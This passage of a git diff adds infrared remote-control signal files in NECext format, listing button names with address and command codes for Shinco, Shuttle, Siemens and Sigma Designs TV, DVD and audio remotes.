+name: KEY_5 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 42 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 43 00 00 00 +# +name: CAR_ST +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 44 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 45 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 46 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 47 00 00 00 +# +name: CASS_RECORD +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 48 00 00 00 +# +name: RANDOM_PLAY +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 49 00 00 00 +# +name: REPEAT_1_ALL +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4B 00 00 00 +# +name: CASS_DECK_B +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4C 00 00 00 +# +name: CASS_STOP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4D 00 00 00 +# +name: CASS_PAUSE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 52 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir b/assets/resources/infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir new file mode 100644 index 000000000..aa273df01 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 00 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 01 00 00 00 +# +name: Resume +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 02 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 04 00 00 00 +# +name: TimeSearch +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 06 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0A 00 00 00 +# +name: Digest +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 12 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 15 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 17 00 00 00 +# +name: AudioMode +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 19 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 40 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4E 00 00 00 +# +name: O)) +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 53 00 00 00 +# +name: Camcorder +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 54 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 55 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 56 00 00 00 +# +name: ||> +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 57 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5B 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5C 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5D 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5E 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir new file mode 100644 index 000000000..b5e2d4c66 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: More +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 46 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: Print +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4E 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 50 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir b/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir new file mode 100644 index 000000000..e4ba602c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 04 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 05 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 0C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 14 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 17 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 18 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 1B 00 00 00 +# +name: TUNING_DOWN+REW+SKIP_LAST +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 40 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 41 00 00 00 +# +name: TUNING_UP+FDW+SKIP_NEXT +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 45 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 86 54 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir b/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir new file mode 100644 index 000000000..dca49a4dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: RANDOM +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 00 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 01 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 09 00 00 00 +# +name: SEARCH_BACK +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 0D 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 19 00 00 00 +# +name: SKIP_FORW +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 1D 00 00 00 +# +name: SEARCH_FORW +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 1F 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 40 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 41 00 00 00 +# +name: STOP2 +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 42 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 45 00 00 00 +# +name: FAST_FORW +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 46 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 48 00 00 00 +# +name: FAST_BACK +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 4A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 4C 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 4D 00 00 00 +# +name: FORW +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 4E 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 50 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 51 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 52 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 54 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 56 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 58 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 59 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 59 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir new file mode 100644 index 000000000..ce571dda7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: wait +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: right/slow +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0/av +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: sc +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: left/right +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 47 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 48 00 00 00 +# +name: cl +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4C 00 00 00 +# +name: vps +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: sp/lp +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 94 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 95 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 96 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 97 00 00 00 +# +name: vpt +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir new file mode 100644 index 000000000..5aec576a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: LANGUAGE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: SUB-TITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: FRAME_> +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 40 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: VGA/TV +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 48 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 54 00 00 00 +# +name: L-R +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir new file mode 100644 index 000000000..174e7e7db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: PRG +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# 